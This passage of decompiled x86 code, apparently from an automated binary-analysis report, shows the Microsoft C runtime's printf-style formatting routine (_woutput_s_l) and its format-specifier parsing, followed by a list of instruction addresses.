																		_t92 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
																		__eax = __ecx + _t92;
																		 *(__ebp - 0x30) = __ecx + _t92;
																	} else {
																		__eax = __ebp + 0x14;
																		 *(__ebp - 0x30) = E00429820(__ebp + 0x14);
																		__eflags =  *(__ebp - 0x30);
																		if( *(__ebp - 0x30) < 0) {
																			 *(__ebp - 0x30) = 0xffffffff;
																		}
																	}
																	goto L214;
																case 6:
																	L41:
																	__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																	 *(__ebp - 0x4e8) = __ecx;
																	 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
																	 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
																	__eflags =  *(__ebp - 0x4e8) - 0x2e;
																	if( *(__ebp - 0x4e8) > 0x2e) {
																		L64:
																		goto L214;
																	}
																	L42:
																	_t100 =  *(__ebp - 0x4e8) + 0x42a9ac; // 0xa1c19003
																	__ecx =  *_t100 & 0x000000ff;
																	switch( *((intOrPtr*)(__ecx * 4 +  &M0042A998))) {
																		case 0:
																			L47:
																			__ecx =  *(__ebp + 0xc);
																			__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																			__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x36;
																			if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x36) {
																				L50:
																				__ecx =  *(__ebp + 0xc);
																				__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																				__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x33;
																				if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x33) {
																					L53:
																					__ecx =  *(__ebp + 0xc);
																					__edx =  *__ecx & 0x0000ffff;
																					__eflags = ( *__ecx & 0x0000ffff) - 0x64;
																					if(( *__ecx & 0x0000ffff) == 0x64) {
																						L59:
																						L61:
																						goto L64;
																					}
																					L54:
																					__eax =  *(__ebp + 0xc);
																					__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																					__eflags = __ecx - 0x69;
																					if(__ecx == 0x69) {
																						goto L59;
																					}
																					L55:
																					__edx =  *(__ebp + 0xc);
																					__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																					__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6f;
																					if(( *( *(__ebp + 0xc)) & 0x0000ffff) == 0x6f) {
																						goto L59;
																					}
																					L56:
																					__ecx =  *(__ebp + 0xc);
																					__edx =  *__ecx & 0x0000ffff;
																					__eflags = ( *__ecx & 0x0000ffff) - 0x75;
																					if(( *__ecx & 0x0000ffff) == 0x75) {
																						goto L59;
																					}
																					L57:
																					__eax =  *(__ebp + 0xc);
																					__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																					__eflags = __ecx - 0x78;
																					if(__ecx == 0x78) {
																						goto L59;
																					}
																					L58:
																					__edx =  *(__ebp + 0xc);
																					__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																					__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x58;
																					if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x58) {
																						 *(__ebp - 0x45c) = 0;
																						goto L18;
																					}
																					goto L59;
																				}
																				L51:
																				__eax =  *(__ebp + 0xc);
																				__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
																				__eflags = __ecx - 0x32;
																				if(__ecx != 0x32) {
																					goto L53;
																				} else {
																					 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																					 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
																					goto L61;
																				}
																			}
																			L48:
																			__eax =  *(__ebp + 0xc);
																			__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
																			__eflags = __ecx - 0x34;
																			if(__ecx != 0x34) {
																				goto L50;
																			} else {
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
																				goto L61;
																			}
																		case 1:
																			L62:
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) | 0x00000020;
																			 *(__ebp - 0x10) = __ecx;
																			goto L64;
																		case 2:
																			L43:
																			__edx =  *(__ebp + 0xc);
																			__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																			__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6c;
																			if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x6c) {
																				__eax =  *(__ebp - 0x10);
																				__eax =  *(__ebp - 0x10) | 0x00000010;
																				__eflags = __eax;
																				 *(__ebp - 0x10) = __eax;
																			} else {
																				__ecx =  *(__ebp + 0xc);
																				__ecx =  *(__ebp + 0xc) + 2;
																				 *(__ebp + 0xc) = __ecx;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																			}
																			goto L64;
																		case 3:
																			L63:
																			__edx =  *(__ebp - 0x10);
																			__edx =  *(__ebp - 0x10) | 0x00000800;
																			__eflags = __edx;
																			 *(__ebp - 0x10) = __edx;
																			goto L64;
																		case 4:
																			goto L64;
																	}
																case 7:
																	L65:
																	__eax =  *(__ebp - 0x454) & 0x0000ffff;
																	 *(__ebp - 0x4ec) =  *(__ebp - 0x454) & 0x0000ffff;
																	__ecx =  *(__ebp - 0x4ec);
																	__ecx =  *(__ebp - 0x4ec) - 0x41;
																	 *(__ebp - 0x4ec) = __ecx;
																	__eflags =  *(__ebp - 0x4ec) - 0x37;
																	if( *(__ebp - 0x4ec) > 0x37) {
																		while(1) {
																			L187:
																			__eflags =  *(_t672 - 0x28);
																			if( *(_t672 - 0x28) != 0) {
																				goto L212;
																			}
																			goto L188;
																		}
																	}
																	L66:
																	__edx =  *(__ebp - 0x4ec);
																	_t141 = __edx + 0x42aa18; // 0x55ff8b0d
																	__eax =  *_t141 & 0x000000ff;
																	switch( *((intOrPtr*)(( *_t141 & 0x000000ff) * 4 +  &M0042A9DC))) {
																		case 0:
																			L120:
																			 *(__ebp - 0x2c) = 1;
																			 *(__ebp - 0x454) & 0x0000ffff = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
																			__eflags = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
																			 *(__ebp - 0x454) = __ax;
																			goto L121;
																		case 1:
																			L67:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			__eflags =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				__edx =  *(__ebp - 0x10);
																				__edx =  *(__ebp - 0x10) | 0x00000020;
																				__eflags = __edx;
																				 *(__ebp - 0x10) = __edx;
																			}
																			goto L69;
																		case 2:
																			L82:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			__eflags =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				__ecx =  *(__ebp - 0x10);
																				__ecx =  *(__ebp - 0x10) | 0x00000020;
																				__eflags = __ecx;
																				 *(__ebp - 0x10) = __ecx;
																			}
																			goto L84;
																		case 3:
																			L143:
																			 *(__ebp - 0x460) = 7;
																			goto L145;
																		case 4:
																			L75:
																			__eax = __ebp + 0x14;
																			 *(__ebp - 0x474) = E00429820(__ebp + 0x14);
																			__eflags =  *(__ebp - 0x474);
																			if( *(__ebp - 0x474) == 0) {
																				L77:
																				__edx =  *0x44ba18; // 0x409128
																				 *(__ebp - 4) = __edx;
																				__eax =  *(__ebp - 4);
																				 *(__ebp - 0x24) = E00427150( *(__ebp - 4));
																				L81:
																				goto L187;
																			}
																			L76:
																			__ecx =  *(__ebp - 0x474);
																			__eflags =  *(__ecx + 4);
																			if( *(__ecx + 4) != 0) {
																				L78:
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																				__eflags =  *(__ebp - 0x10) & 0x00000800;
																				if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																					 *(__ebp - 0xc) = 0;
																					__edx =  *(__ebp - 0x474);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x474);
																					__edx =  *__ecx;
																					 *(__ebp - 0x24) =  *__ecx;
																				} else {
																					__edx =  *(__ebp - 0x474);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x474);
																					__eax =  *__ecx;
																					asm("cdq");
																					 *__ecx - __edx =  *__ecx - __edx >> 1;
																					 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																					 *(__ebp - 0xc) = 1;
																				}
																				goto L81;
																			}
																			goto L77;
																		case 5:
																			L121:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			__edx = __ebp - 0x448;
																			 *(__ebp - 4) = __ebp - 0x448;
																			 *(__ebp - 0x44) = 0x200;
																			__eflags =  *(__ebp - 0x30);
																			if( *(__ebp - 0x30) >= 0) {
																				L123:
																				__eflags =  *(__ebp - 0x30);
																				if( *(__ebp - 0x30) != 0) {
																					L126:
																					__eflags =  *(__ebp - 0x30) - 0x200;
																					if( *(__ebp - 0x30) > 0x200) {
																						 *(__ebp - 0x30) = 0x200;
																					}
																					L128:
																					__eflags =  *(__ebp - 0x30) - 0xa3;
																					if( *(__ebp - 0x30) > 0xa3) {
																						__ecx =  *(__ebp - 0x30);
																						__ecx =  *(__ebp - 0x30) + 0x15d;
																						 *(__ebp - 0x20) = L00421A30( *(__ebp - 0x30) + 0x15d,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																						__eflags =  *(__ebp - 0x20);
																						if( *(__ebp - 0x20) == 0) {
																							 *(__ebp - 0x30) = 0xa3;
																						} else {
																							__edx =  *(__ebp - 0x20);
																							 *(__ebp - 4) =  *(__ebp - 0x20);
																							 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																							 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																						}
																					}
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					__edx =  *(__ebp + 0x14);
																					__eax =  *(__edx - 8);
																					__ecx =  *(__edx - 4);
																					 *(__ebp - 0x490) =  *(__edx - 8);
																					 *(__ebp - 0x48c) =  *(__edx - 4);
																					__ecx = __ebp - 0x40;
																					_push(E00423790(__ebp - 0x40));
																					__edx =  *(__ebp - 0x2c);
																					_push( *(__ebp - 0x2c));
																					__eax =  *(__ebp - 0x30);
																					_push( *(__ebp - 0x30));
																					__ecx =  *(__ebp - 0x454);
																					_push( *(__ebp - 0x454));
																					__edx =  *(__ebp - 0x44);
																					_push( *(__ebp - 0x44));
																					__eax =  *(__ebp - 4);
																					_push(__eax);
																					__ecx = __ebp - 0x490;
																					_push(__ebp - 0x490);
																					__edx =  *0x44ba08; // 0xae625e32
																					_push(__edx);
																					__imp__DecodePointer();
																					__eax =  *__eax();
																					__esp = __esp + 0x1c;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																					__eflags =  *(__ebp - 0x10) & 0x00000080;
																					if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																						__eflags =  *(__ebp - 0x30);
																						if( *(__ebp - 0x30) == 0) {
																							__ecx = __ebp - 0x40;
																							__eax = E00423790(__ebp - 0x40);
																							_push(__eax);
																							__ecx =  *(__ebp - 4);
																							_push( *(__ebp - 4));
																							__edx =  *0x44ba14; // 0xae625e32
																							_push(__edx);
																							__imp__DecodePointer();
																							__eax =  *__eax();
																							__esp = __esp + 8;
																						}
																					}
																					__eax =  *(__ebp - 0x454) & 0x0000ffff;
																					__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
																					if(( *(__ebp - 0x454) & 0x0000ffff) == 0x67) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																						__eflags =  *(__ebp - 0x10) & 0x00000080;
																						if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																							__ecx = __ebp - 0x40;
																							_push(E00423790(__ebp - 0x40));
																							__edx =  *(__ebp - 4);
																							_push( *(__ebp - 4));
																							__eax =  *0x44ba10; // 0xae625e32
																							_push(__eax);
																							__imp__DecodePointer();
																							__eax =  *__eax();
																							__esp = __esp + 8;
																						}
																					}
																					__ecx =  *(__ebp - 4);
																					__edx =  *( *(__ebp - 4));
																					__eflags =  *( *(__ebp - 4)) - 0x2d;
																					if( *( *(__ebp - 4)) == 0x2d) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						__ecx =  *(__ebp - 4);
																						__ecx =  *(__ebp - 4) + 1;
																						__eflags = __ecx;
																						 *(__ebp - 4) = __ecx;
																					}
																					__edx =  *(__ebp - 4);
																					 *(__ebp - 0x24) = E00427150( *(__ebp - 4));
																					do {
																						L187:
																						__eflags =  *(_t672 - 0x28);
																						if( *(_t672 - 0x28) != 0) {
																							goto L212;
																						}
																						goto L188;
																					} while ( *(__ebp - 0x4ec) > 0x37);
																					goto L66;
																				}
																				L124:
																				__eax =  *(__ebp - 0x454) & 0x0000ffff;
																				__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
																				if(( *(__ebp - 0x454) & 0x0000ffff) != 0x67) {
																					goto L126;
																				}
																				L125:
																				 *(__ebp - 0x30) = 1;
																				goto L128;
																			}
																			L122:
																			 *(__ebp - 0x30) = 6;
																			goto L128;
																		case 6:
																			L69:
																			 *(__ebp - 0xc) = 1;
																			__ebp + 0x14 = E00429820(__ebp + 0x14);
																			 *(__ebp - 0x458) = __ax;
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) & 0x00000020;
																			__eflags = __ecx;
																			if(__ecx == 0) {
																				 *(__ebp - 0x448) =  *(__ebp - 0x458);
																			} else {
																				 *(__ebp - 0x458) & 0x0000ffff =  *(__ebp - 0x458) & 0xff;
																				 *(__ebp - 0x470) = __dl;
																				 *((char*)(__ebp - 0x46f)) = 0;
																				__ecx = __ebp - 0x40;
																				__eax = E00423790(__ebp - 0x40);
																				__ecx = __ebp - 0x40;
																				E00423790(__ebp - 0x40) =  *__eax;
																				__ecx =  *(__ebp - 0x448 + 0xac);
																				__edx = __ebp - 0x470;
																				__eax = __ebp - 0x448;
																				__eax = E00439180(__ebp - 0x448, __ebp - 0x470,  *(__ebp - 0x448 + 0xac), __ebp - 0x448);
																				__eflags = __eax;
																				if(__eax < 0) {
																					 *(__ebp - 0x28) = 1;
																				}
																			}
																			__edx = __ebp - 0x448;
																			 *(__ebp - 4) = __ebp - 0x448;
																			 *(__ebp - 0x24) = 1;
																			while(1) {
																				L187:
																				__eflags =  *(_t672 - 0x28);
																				if( *(_t672 - 0x28) != 0) {
																					goto L212;
																				}
																				goto L188;
																			}
																		case 7:
																			L141:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 8) = 0xa;
																			goto L150;
																		case 8:
																			L106:
																			__eax = __ebp + 0x14;
																			 *(__ebp - 0x484) = E00429820(__ebp + 0x14);
																			__eax = E004390D0();
																			__eflags = __eax;
																			if(__eax != 0) {
																				L116:
																				__ecx =  *(__ebp - 0x10);
																				__ecx =  *(__ebp - 0x10) & 0x00000020;
																				__eflags = __ecx;
																				if(__ecx == 0) {
																					__ecx =  *(__ebp - 0x484);
																					__edx =  *(__ebp - 0x44c);
																					 *__ecx =  *(__ebp - 0x44c);
																				} else {
																					__edx =  *(__ebp - 0x484);
																					__ax =  *(__ebp - 0x44c);
																					 *( *(__ebp - 0x484)) = __ax;
																				}
																				 *(__ebp - 0x28) = 1;
																				while(1) {
																					L187:
																					__eflags =  *(_t672 - 0x28);
																					if( *(_t672 - 0x28) != 0) {
																						goto L212;
																					}
																					goto L188;
																				}
																			}
																			L107:
																			__ecx = 0;
																			__eflags = 0;
																			if(0 == 0) {
																				 *(__ebp - 0x4f4) = 0;
																			} else {
																				 *(__ebp - 0x4f4) = 1;
																			}
																			__edx =  *(__ebp - 0x4f4);
																			 *(__ebp - 0x488) =  *(__ebp - 0x4f4);
																			__eflags =  *(__ebp - 0x488);
																			if( *(__ebp - 0x488) == 0) {
																				_push(L"(\"\'n\' format specifier disabled\", 0)");
																				_push(0);
																				_push(0x695);
																				_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																				_push(2);
																				__eax = L00427590();
																				__esp = __esp + 0x14;
																				__eflags = __eax - 1;
																				if(__eax == 1) {
																					asm("int3");
																				}
																			}
																			__eflags =  *(__ebp - 0x488);
																			if( *(__ebp - 0x488) != 0) {
																				L115:
																				while(1) {
																					L187:
																					__eflags =  *(_t672 - 0x28);
																					if( *(_t672 - 0x28) != 0) {
																						goto L212;
																					}
																					goto L188;
																				}
																			} else {
																				L114:
																				 *((intOrPtr*)(L004256E0(__ecx))) = 0x16;
																				__eax = E00428500(__ecx, L"(\"\'n\' format specifier disabled\", 0)", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
																				 *(__ebp - 0x4cc) = 0xffffffff;
																				__ecx = __ebp - 0x40;
																				__eax = E00423760(__ecx);
																				__eax =  *(__ebp - 0x4cc);
																				goto L225;
																			}
																		case 9:
																			L148:
																			 *(__ebp - 8) = 8;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			__eflags =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				__edx =  *(__ebp - 0x10);
																				__edx =  *(__ebp - 0x10) | 0x00000200;
																				__eflags = __edx;
																				 *(__ebp - 0x10) = __edx;
																			}
																			goto L150;
																		case 0xa:
																			L142:
																			 *(__ebp - 0x30) = 8;
																			goto L143;
																		case 0xb:
																			L84:
																			__eflags =  *(__ebp - 0x30) - 0xffffffff;
																			if( *(__ebp - 0x30) != 0xffffffff) {
																				__edx =  *(__ebp - 0x30);
																				 *(__ebp - 0x4f0) =  *(__ebp - 0x30);
																			} else {
																				 *(__ebp - 0x4f0) = 0x7fffffff;
																			}
																			__eax =  *(__ebp - 0x4f0);
																			 *(__ebp - 0x47c) =  *(__ebp - 0x4f0);
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 4) = E00429820(__ebp + 0x14);
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																			__eflags =  *(__ebp - 0x10) & 0x00000020;
																			if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																				L98:
																				__eflags =  *(__ebp - 4);
																				if( *(__ebp - 4) == 0) {
																					__ecx =  *0x44ba1c; // 0x409118
																					 *(__ebp - 4) = __ecx;
																				}
																				 *(__ebp - 0xc) = 1;
																				__edx =  *(__ebp - 4);
																				 *(__ebp - 0x480) =  *(__ebp - 4);
																				while(1) {
																					L101:
																					__eax =  *(__ebp - 0x47c);
																					__ecx =  *(__ebp - 0x47c);
																					__ecx =  *(__ebp - 0x47c) - 1;
																					 *(__ebp - 0x47c) = __ecx;
																					__eflags =  *(__ebp - 0x47c);
																					if( *(__ebp - 0x47c) == 0) {
																						break;
																					}
																					L102:
																					__edx =  *(__ebp - 0x480);
																					__eax =  *( *(__ebp - 0x480)) & 0x0000ffff;
																					__eflags =  *( *(__ebp - 0x480)) & 0x0000ffff;
																					if(( *( *(__ebp - 0x480)) & 0x0000ffff) == 0) {
																						break;
																					}
																					L103:
																					 *(__ebp - 0x480) =  *(__ebp - 0x480) + 2;
																					 *(__ebp - 0x480) =  *(__ebp - 0x480) + 2;
																				}
																				L104:
																				__edx =  *(__ebp - 0x480);
																				__edx =  *(__ebp - 0x480) -  *(__ebp - 4);
																				__eflags = __edx;
																				 *(__ebp - 0x24) = __edx;
																				goto L105;
																			} else {
																				L88:
																				__eflags =  *(__ebp - 4);
																				if( *(__ebp - 4) == 0) {
																					__eax =  *0x44ba18; // 0x409128
																					 *(__ebp - 4) = __eax;
																				}
																				__ecx =  *(__ebp - 4);
																				 *(__ebp - 0x478) = __ecx;
																				 *(__ebp - 0x24) = 0;
																				while(1) {
																					L92:
																					__eax =  *(__ebp - 0x24);
																					__eflags =  *(__ebp - 0x24) -  *(__ebp - 0x47c);
																					if( *(__ebp - 0x24) >=  *(__ebp - 0x47c)) {
																						break;
																					}
																					L93:
																					__ecx =  *(__ebp - 0x478);
																					__edx =  *__ecx;
																					__eflags =  *__ecx;
																					if( *__ecx == 0) {
																						break;
																					}
																					L94:
																					__ecx = __ebp - 0x40;
																					E00423790(__ebp - 0x40) =  *(__ebp - 0x478);
																					__ecx =  *( *(__ebp - 0x478)) & 0x000000ff;
																					__eax = E00439110( *( *(__ebp - 0x478)) & 0x000000ff,  *(__ebp - 0x478));
																					__eflags = __eax;
																					if(__eax != 0) {
																						__edx =  *(__ebp - 0x478);
																						__edx =  *(__ebp - 0x478) + 1;
																						__eflags = __edx;
																						 *(__ebp - 0x478) = __edx;
																					}
																					 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
																					 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
																					__edx =  *(__ebp - 0x24);
																					__edx =  *(__ebp - 0x24) + 1;
																					__eflags = __edx;
																					 *(__ebp - 0x24) = __edx;
																				}
																				L97:
																				L105:
																				while(1) {
																					L187:
																					__eflags =  *(_t672 - 0x28);
																					if( *(_t672 - 0x28) != 0) {
																						goto L212;
																					}
																					goto L188;
																				}
																			}
																		case 0xc:
																			goto L0;
																		case 0xd:
																			L144:
																			 *(__ebp - 0x460) = 0x27;
																			L145:
																			 *(__ebp - 8) = 0x10;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			__eflags =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				__edx = 0x30;
																				 *((short*)(__ebp - 0x14)) = __dx;
																				 *(__ebp - 0x460) =  *(__ebp - 0x460) + 0x51;
																				__eflags =  *(__ebp - 0x460) + 0x51;
																				 *(__ebp - 0x12) = __ax;
																				 *(__ebp - 0x1c) = 2;
																			}
																			goto L150;
																		case 0xe:
																			while(1) {
																				L187:
																				__eflags =  *(_t672 - 0x28);
																				if( *(_t672 - 0x28) != 0) {
																					goto L212;
																				}
																				goto L188;
																			}
																	}
																case 8:
																	L24:
																	__ecx =  *(__ebp - 0x10);
																	__ecx =  *(__ebp - 0x10) | 0x00000002;
																	 *(__ebp - 0x10) = __ecx;
																	goto L27;
																case 9:
																	L25:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																	goto L27;
																case 0xa:
																	L23:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000001;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000001;
																	goto L27;
																case 0xb:
																	L22:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																	goto L27;
																case 0xc:
																	L26:
																	__eax =  *(__ebp - 0x10);
																	__eax =  *(__ebp - 0x10) | 0x00000008;
																	__eflags = __eax;
																	 *(__ebp - 0x10) = __eax;
																	goto L27;
																case 0xd:
																	L27:
																	goto L214;
															}
														} else {
															_t640 = 0;
															__eflags = 0;
															if(0 == 0) {
																 *(_t672 - 0x4dc) = 0;
															} else {
																 *(_t672 - 0x4dc) = 1;
															}
															 *(_t672 - 0x46c) =  *(_t672 - 0x4dc);
															__eflags =  *(_t672 - 0x46c);
															if( *(_t672 - 0x46c) == 0) {
																_push(L"(\"Incorrect format specifier\", 0)");
																_push(0);
																_push(0x460);
																_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																_push(2);
																_t517 = L00427590();
																_t675 = _t675 + 0x14;
																__eflags = _t517 - 1;
																if(_t517 == 1) {
																	asm("int3");
																}
															}
															L14:
															__eflags =  *(_t672 - 0x46c);
															if( *(_t672 - 0x46c) != 0) {
																goto L16;
															} else {
																 *((intOrPtr*)(L004256E0(_t586))) = 0x16;
																E00428500(_t586, L"(\"Incorrect format specifier\", 0)", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x460, 0);
																 *(_t672 - 0x4c8) = 0xffffffff;
																E00423760(_t672 - 0x40);
																_t502 =  *(_t672 - 0x4c8);
																L225:
																__eflags =  *(_t672 - 0x48) ^ _t672;
																return E00425740(_t502, _t565,  *(_t672 - 0x48) ^ _t672, _t640, _t670, _t671);
															}
														}
													}
													L4:
													__eflags = ( *(_t672 - 0x454) & 0x0000ffff) - 0x78;
													if(( *(_t672 - 0x454) & 0x0000ffff) > 0x78) {
														goto L6;
													} else {
														 *(_t672 - 0x4d8) =  *(( *(_t672 - 0x454) & 0x0000ffff) + L"cur_max == 2") & 0xf;
														goto L7;
													}
												}
												L215:
												__eflags =  *(_t672 - 0x45c);
												if( *(_t672 - 0x45c) == 0) {
													L218:
													 *(_t672 - 0x4f8) = 1;
													L219:
													_t640 =  *(_t672 - 0x4f8);
													 *(_t672 - 0x4bc) =  *(_t672 - 0x4f8);
													__eflags =  *(_t672 - 0x4bc);
													if( *(_t672 - 0x4bc) == 0) {
														_push(L"((state == ST_NORMAL) || (state == ST_TYPE))");
														_push(0);
														_push(0x8f5);
														_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
														_push(2);
														_t507 = L00427590();
														_t675 = _t675 + 0x14;
														__eflags = _t507 - 1;
														if(_t507 == 1) {
															asm("int3");
														}
													}
													__eflags =  *(_t672 - 0x4bc);
													if( *(_t672 - 0x4bc) != 0) {
														 *(_t672 - 0x4d4) =  *(_t672 - 0x44c);
														E00423760(_t672 - 0x40);
														_t502 =  *(_t672 - 0x4d4);
													} else {
														 *((intOrPtr*)(L004256E0(_t578))) = 0x16;
														E00428500(_t578, L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x8f5, 0);
														 *(_t672 - 0x4d0) = 0xffffffff;
														E00423760(_t672 - 0x40);
														_t502 =  *(_t672 - 0x4d0);
													}
													goto L225;
												}
												L216:
												__eflags =  *(_t672 - 0x45c) - 7;
												if( *(_t672 - 0x45c) == 7) {
													goto L218;
												}
												L217:
												 *(_t672 - 0x4f8) = 0;
												goto L219;
											}
										}
										L184:
										__eflags =  *(_t672 - 0x24);
										if( *(_t672 - 0x24) == 0) {
											L186:
											 *((intOrPtr*)(_t672 - 4)) =  *((intOrPtr*)(_t672 - 4)) - 1;
											 *((char*)( *((intOrPtr*)(_t672 - 4)))) = 0x30;
											_t611 =  *(_t672 - 0x24) + 1;
											__eflags = _t611;
											 *(_t672 - 0x24) = _t611;
											goto L187;
										}
										L185:
										__eflags =  *((char*)( *((intOrPtr*)(_t672 - 4)))) - 0x30;
										if( *((char*)( *((intOrPtr*)(_t672 - 4)))) == 0x30) {
											goto L187;
										}
										goto L186;
									}
								}
							}
						}
					}
				}
			}

0x0042a377
0x0042a377
0x0042a377
0x0042a377
0x0042a377
0x00000000
0x0042a3ec
0x00000000
0x0042a3ec
0x00000000
0x0042a3ec
0x0042a3ec
0x0042a3f4
0x0042a416
0x0042a416
0x0042a41c
0x0042a43e
0x0042a441
0x0042a488
0x0042a488
0x0042a48b
0x0042a4ac
0x0042a4b1
0x0042a4b4
0x0042a4b6
0x0042a4bc
0x0042a48d
0x0042a491
0x0042a496
0x0042a499
0x0042a49a
0x0042a4a0
0x0042a4a0
0x0042a443
0x0042a446
0x0042a446
0x0042a449
0x0042a46b
0x0042a470
0x0042a476
0x0042a477
0x0042a47d
0x0042a44b
0x0042a44f
0x0042a454
0x0042a458
0x0042a459
0x0042a45f
0x0042a45f
0x0042a483
0x0042a41e
0x0042a422
0x0042a427
0x0042a42a
0x0042a430
0x0042a430
0x0042a3f6
0x0042a3fa
0x0042a3ff
0x0042a402
0x0042a408
0x0042a408
0x0042a4c8
0x0042a50a
0x0042a510
0x0042a51c
0x00000000
0x0042a4ca
0x0042a4ca
0x0042a4ca
0x0042a4d1
0x00000000
0x0042a4de
0x0042a4de
0x0042a4ec
0x0042a4f1
0x0042a4f7
0x0042a505
0x0042a522
0x0042a52a
0x0042a54c
0x0042a54c
0x0042a556
0x0042a567
0x0042a56a
0x0042a571
0x0042a573
0x0042a573
0x0042a558
0x0042a558
0x0042a558
0x0042a586
0x0042a588
0x0042a588
0x0042a595
0x0042a598
0x0042a598
0x0042a59e
0x0042a5a1
0x0042a5a6
0x00000000
0x00000000
0x0042a5b6
0x0042a5b9
0x0042a5c3
0x0042a5d2
0x0042a5db
0x0042a5f1
0x0042a5f7
0x0042a604
0x0042a612
0x0042a612
0x0042a621
0x0042a629
0x0042a629
0x0042a631
0x0042a63a
0x0042a643
0x0042a649
0x0042a64f
0x0042a67a
0x0042a67a
0x0042a67a
0x0042a67e
0x00000000
